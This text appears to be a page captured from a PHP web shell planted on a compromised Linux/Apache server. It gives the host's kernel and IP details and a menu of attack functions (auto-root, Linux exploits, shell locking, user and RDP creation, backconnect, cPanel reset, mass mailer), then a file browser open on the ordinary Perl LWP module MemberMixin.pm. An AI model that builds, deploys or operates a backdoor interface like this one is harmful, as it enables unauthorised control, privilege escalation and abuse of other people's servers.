Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
Apache
: 148.66.134.25 | : 3.135.200.121
66 Domain
8.0.30
amvm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
LWP /
[ HOME SHELL ]
Name
Size
Permission
Action
Authen
[ DIR ]
drwxr-xr-x
Protocol
[ DIR ]
drwxr-xr-x
ConnCache.pm
7.44
KB
-rw-r--r--
Debug.pm
2.51
KB
-rw-r--r--
DebugFile.pm
43
B
-rw-r--r--
MemberMixin.pm
846
B
-rw-r--r--
Protocol.pm
7.73
KB
-rw-r--r--
RobotUA.pm
7.53
KB
-rw-r--r--
Simple.pm
6.18
KB
-rw-r--r--
UserAgent.pm
58.38
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : MemberMixin.pm
package LWP::MemberMixin; sub _elem { my $self = shift; my $elem = shift; my $old = $self->{$elem}; $self->{$elem} = shift if @_; return $old; } 1; __END__ =head1 NAME LWP::MemberMixin - Member access mixin class =head1 SYNOPSIS package Foo; require LWP::MemberMixin; @ISA=qw(LWP::MemberMixin); =head1 DESCRIPTION A mixin class to get methods that provide easy access to member variables in the %$self. Ideally there should be better Perl language support for this. There is only one method provided: =over 4 =item _elem($elem [, $val]) Internal method to get/set the value of member variable C<$elem>. If C<$val> is present it is used as the new value for the member variable. If it is not present the current value is not touched. In both cases the previous value of the member variable is returned. =back
Close
